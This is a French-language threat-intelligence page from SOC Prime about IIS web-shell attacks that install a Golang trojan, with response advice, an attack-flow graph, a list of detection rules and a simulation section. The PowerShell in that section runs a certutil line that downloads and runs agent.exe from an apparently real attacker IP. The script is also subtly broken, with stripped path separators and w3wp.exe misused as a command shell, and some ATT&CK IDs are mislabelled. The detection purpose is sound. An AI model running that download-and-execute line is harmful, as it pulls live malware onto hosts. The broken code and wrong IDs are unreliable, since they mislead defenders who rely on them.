SOC Prime Bias: Critique

29 Déc 2025 12:37

Essai, Erreur et Fautes de Frappe : Pourquoi Certaines Attaques de Malware Ne Sont Pas Aussi ‘Sophistiquées’ Que Vous le Pensez

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Suivre
Essai, Erreur et Fautes de Frappe : Pourquoi Certaines Attaques de Malware Ne Sont Pas Aussi ‘Sophistiquées’ Que Vous le Pensez
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

L’article décrit trois incidents distincts où un acteur de la menace a exploité des serveurs web IIS compromis pour télécharger et exécuter un cheval de Troie basé sur Golang (agent.exe) sur les points d’extrémité des victimes. Les attaquants ont tenté à plusieurs reprises l’exécution, utilisé certutil pour récupérer des charges utiles, et ont ensuite ajouté des exclusions de Windows Defender avant d’essayer d’établir la persistance via un service Windows. La détection a été réalisée grâce aux journaux EDR et Sysmon, qui ont capturé les lignes de commande, les arbres de processus et l’activité réseau. Les attaques illustrent comment les adversaires s’adaptent aux obstacles défensifs au lieu de suivre un plan sans faille.

Enquête

Les analystes de Huntress ont examiné les journaux des événements Windows, les événements Sysmon et les journaux des serveurs web IIS pour reconstituer la chaîne de l’attaque. Ils ont identifié l’exécution initiale de la web‑shell via w3wp.exe, observé les commandes malformées, les tentatives répétées de livraison de charges utiles et la création d’un service nommé WindowsUpdate qui n’a pas réussi à démarrer. Plusieurs indicateurs tels que les chemins des fichiers, les lignes de commande et les connexions réseau ont été collectés et corrélés entre les trois incidents.

Atténuation

Les principales mesures d’atténuation comprennent le renforcement des serveurs IIS, la restriction de l’exécution des web‑shells, l’application stricte de listes d’applications autorisées, la surveillance de l’utilisation anormale des LOLBins tels que certutil et PowerShell, et l’assurance que les exclusions de Windows Defender ne sont pas créées arbitrairement. L’isolement rapide des hôtes compromis et la suppression des outils déposés comme GotoHTTP sont également recommandés.

Réponse

Lors de la détection, les intervenants devraient isoler le point d’extrémité affecté, collecter les journaux complets des arbres de processus et du réseau, supprimer tout binaire malveillant, annuler les exclusions non autorisées de Windows Defender et vérifier les échecs de création de service. Effectuer un examen approfondi du serveur web pour les pages compromises et renouveler toutes les identifiants compromis.

« graph TB %% Section des définitions de classe classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef process fill:#ffeb99 classDef technique fill:#c2c2f0 classDef malware fill:#ff9999 %% Définitions des nœuds initial_access[« <b>Action</b> – <b>T1505.004 Composant logiciel serveur : Composants IIS</b><br/>Serveur web IIS public exploité, déployé shell web via w3wp.exe »] web_shell[« <b>Malware</b> – <b>Nom</b>: Shell Web<br/><b>Fichier</b>: login.aspx »] process_w3wp[« <b>Processus</b> – <b>Nom</b>: w3wp.exe<br/><b>But</b>: Héberge application web »] execution[« <b>Action</b> – <b>T1059.003 Shell de commande Windows</b><br/>Commandes exécutées comme whoami, netstat, ipconfig »] powershell_exec[« <b>Outil</b> – <b>Nom</b>: PowerShell<br/><b>Technique</b>: T1059.001 »] discovery[« <b>Action</b> – <b>Techniques de découverte</b> »] account_discovery[« <b>Technique</b> – <b>T1087.001 Compte local</b><br/>Comptes utilisateurs locaux énumérés »] group_discovery[« <b>Technique</b> – <b>T1069.001 Groupes locaux</b><br/>Adhésions aux groupes locaux énumérées »] network_conn_disc[« <b>Technique</b> – <b>T1049 Analyse de service réseau</b><br/>Connexions réseau actives identifiées »] internet_conn_disc[« <b>Technique</b> – <b>T1016.001 Découverte de connexion Internet</b><br/>Connectivité externe vérifiée »] defense_evasion[« <b>Action</b> – <b>Techniques d’évasion de défense</b> »] certutil[« <b>Outil</b> – <b>Nom</b>: certutil.exe<br/><b>Technique</b>: T1218 Exécution de proxy binaire système »] hide_files[« <b>Technique</b> – <b>T1564.001 Cacher les artefacts : Fichiers et répertoires cachés</b><br/>Définir attributs cachés et système »] defender_exclusion[« <b>Technique</b> – <b>T1562 Affaiblir les défenses</b> et <b>T1564.012 Exclusions de chemin de fichiers</b><br/>Ajouté des exclusions Windows Defender via PowerShell »] lateral_transfer[« <b>Action</b> – <b>T1570 Transfert d’outil latéral</b><br/>Copié des binaires malveillants depuis un serveur externe »] malicious_binaries[« <b>Malware</b> – <b>Fichiers</b>: agent.exe, 815.exe, dllhost.exe »] persistence[« <b>Action</b> – <b>T1546.010 Exécution déclenchée par événement : Service Windows</b><br/>Créé service ‘WindowsUpdate’ pointant vers dllhost.exe »] service_creation[« <b>Processus</b> – <b>Nom</b>: Service Windows ‘WindowsUpdate' »] final_execution[« <b>Action</b> – <b>Exécution finale</b><br/>Service démarré, l’attaquant maintient le contrôle »] %% Assignations de classe class initial_access action class web_shell malware class process_w3wp process class execution action class powershell_exec tool class discovery action class account_discovery technique class group_discovery technique class network_conn_disc technique class internet_conn_disc technique class defense_evasion action class certutil tool class hide_files technique class defender_exclusion technique class lateral_transfer action class malicious_binaries malware class persistence action class service_creation process class final_execution action %% Connexions initial_access u002du002d>|utilise| web_shell web_shell u002du002d>|s’exécute dans| process_w3wp process_w3wp u002du002d>|active| execution execution u002du002d>|utilise| powershell_exec execution u002du002d>|mène à| discovery discovery u002du002d>|inclut| account_discovery discovery u002du002d>|inclut| group_discovery discovery u002du002d>|inclut| network_conn_disc discovery u002du002d>|inclut| internet_conn_disc discovery u002du002d>|mène à| defense_evasion defense_evasion u002du002d>|utilise| certutil defense_evasion u002du002d>|applique| hide_files defense_evasion u002du002d>|applique| defender_exclusion defense_evasion u002du002d>|mène à| lateral_transfer lateral_transfer u002du002d>|transfère| malicious_binaries malicious_binaries u002du002d>|active| persistence persistence u002du002d>|crée| service_creation service_creation u002du002d>|déclenche| final_execution « 

Flux d’attaque

Détections

Attribuer l’exécution à Masquer les fichiers (via cmdline)

Équipe de SOC Prime
23 déc. 2025

Exécutable suspect contenant uniquement des chiffres dans le nom (via cmdline)

Équipe de SOC Prime
23 déc. 2025

Modifications suspectes des préférences de Windows Defender (via PowerShell)

Équipe de SOC Prime
23 déc. 2025

Utilisation de Certutil pour le codage des données et les opérations de certificat (via cmdline)

Équipe de SOC Prime
23 déc. 2025

Fichiers suspects dans le profil utilisateur public (via file_event)

Équipe de SOC Prime
23 déc. 2025

Exécution suspecte depuis le profil utilisateur public (via process_creation)

Équipe de SOC Prime
23 déc. 2025

IOC (SourceIP) pour détecter : Essai, Erreur et Fautes de frappe : Pourquoi certaines attaques de malware ne sont pas aussi ‘sophistiquées’ que vous le pensez

Règles AI de SOC Prime
23 déc. 2025

IOC (HashSha256) pour détecter : Essai, Erreur et Fautes de frappe : Pourquoi certaines attaques de malware ne sont pas aussi ‘sophistiquées’ que vous le pensez

Règles AI de SOC Prime
23 déc. 2025

IOC (DestinationIP) pour détecter : Essai, Erreur et Fautes de frappe : Pourquoi certaines attaques de malware ne sont pas aussi ‘sophistiquées’ que vous le pensez

Règles AI de SOC Prime
23 déc. 2025

Détection de requêtes POST malveillantes sur le serveur web [Webserver]

Règles AI de SOC Prime
23 déc. 2025

Détecter l’exécution de ligne de commande depuis le processus du serveur web [Création de processus Windows]

Règles AI de SOC Prime
23 déc. 2025

Exécution de simulation

Prérequis : Le contrôle préalable de télémétrie et de base de référence doit être réussi.

Raison : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTP identifiés et visent à générer la télémétrie exacte attendue par la logique de détection.

  • Narratif de l’attaque & Commandes :
    Un attaquant qui a déjà obtenu l’exécution de code sur un serveur IIS compromis exploite le w3wp.exe processus (le travailleur IIS) pour exécuter une série de proxys binaires signés. D’abord, ils énumèrent l’état du système et du réseau (whoami.exe, netstat -an, ipconfig /all). Ensuite, ils utilisent certutil.exe pour télécharger une charge utile malveillante (agent.exe) depuis un serveur C2 à distance et l’exécuter immédiatement dans le répertoire utilisateur public. Toutes les commandes sont émises via cmd.exe /c lancé sous le contexte de w3wp.exe, veillant à ce que l’événement de création de processus corresponde aux conditions de la règle.

    # 1. Énumérer les informations système/utilisateur
    Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList '/c whoami.exe' -NoNewWindow
    Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList '/c netstat -an' -NoNewWindow
    Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList '/c ipconfig /all' -NoNewWindow
    
    # 2. Télécharger et exécuter la charge utile malveillante via certutil
    $maliciousCmd = '"cmd" /c certutil.exe -urlcache -split -f https://110.172.104.95:8000/api/download/windows-tools/amd64 C:UsersPublicagent.exe && start /b C:UsersPublicagent.exe'
    Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList $maliciousCmd -NoNewWindow
  • Script de test de régression : Le script ci-dessous automatise toute la chaîne d’attaque, reproduisant la télémétrie exacte qui devrait déclencher la règle Sigma.

    <#
    .SYNOPSIS
        Simule une activité d’adversaire qui déclenche la règle Sigma "Detect Command Line Execution from Web Server Process".
    .DESCRIPTION
        Exécute une série de commandes de découverte et de téléchargement et exécution depuis le processus de travailler IIS (w3wp.exe).
        S’exécute sur un hôte Windows où l’audit de création de processus (ID d'événement 4688) est activé.
    #>
    
    # Fonction pour invoquer une commande via w3wp.exe
    function Invoke-W3wpCommand {
        param (
            [Parameter(Mandatory=$true)]
            [string]$CmdLine
        )
        Write-Host "Invoquer via w3wp.exe: $CmdLine"
        Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList "/c $CmdLine" -WindowStyle Hidden -PassThru | Out-Null
    }
    
    # 1. Commandes de découverte (MITRE T1033, T1016, T1069.001)
    $discoveryCommands = @(
        "whoami.exe",
        "netstat -an",
        "net user admin$",
        "ipconfig /all",
        "net localgroup administrators"
    )
    foreach ($cmd in $discoveryCommands) {
        Invoke-W3wpCommand -CmdLine $cmd
        Start-Sleep -Seconds 2
    }
    
    # 2. Téléchargement et exécution malveillant (MITRE T1218.004)
    $maliciousCmd = '"cmd" /c certutil.exe -urlcache -split -f https://110.172.104.95:8000/api/download/windows-tools/amd64 C:UsersPublicagent.exe && start /b C:UsersPublicagent.exe'
    Invoke-W3wpCommand -CmdLine $maliciousCmd
  • Commandes de nettoyage : Supprimer la charge utile téléchargée et terminer tous les processus errants.

    # Supprimer le binaire agent malveillant
    Remove-Item -Path "C:UsersPublicagent.exe" -Force -ErrorAction SilentlyContinue
    
    # Arrêter optionnellement l'agent s'il est toujours en cours d'exécution
    Get-Process -Name "agent" -ErrorAction SilentlyContinue | Stop-Process -Force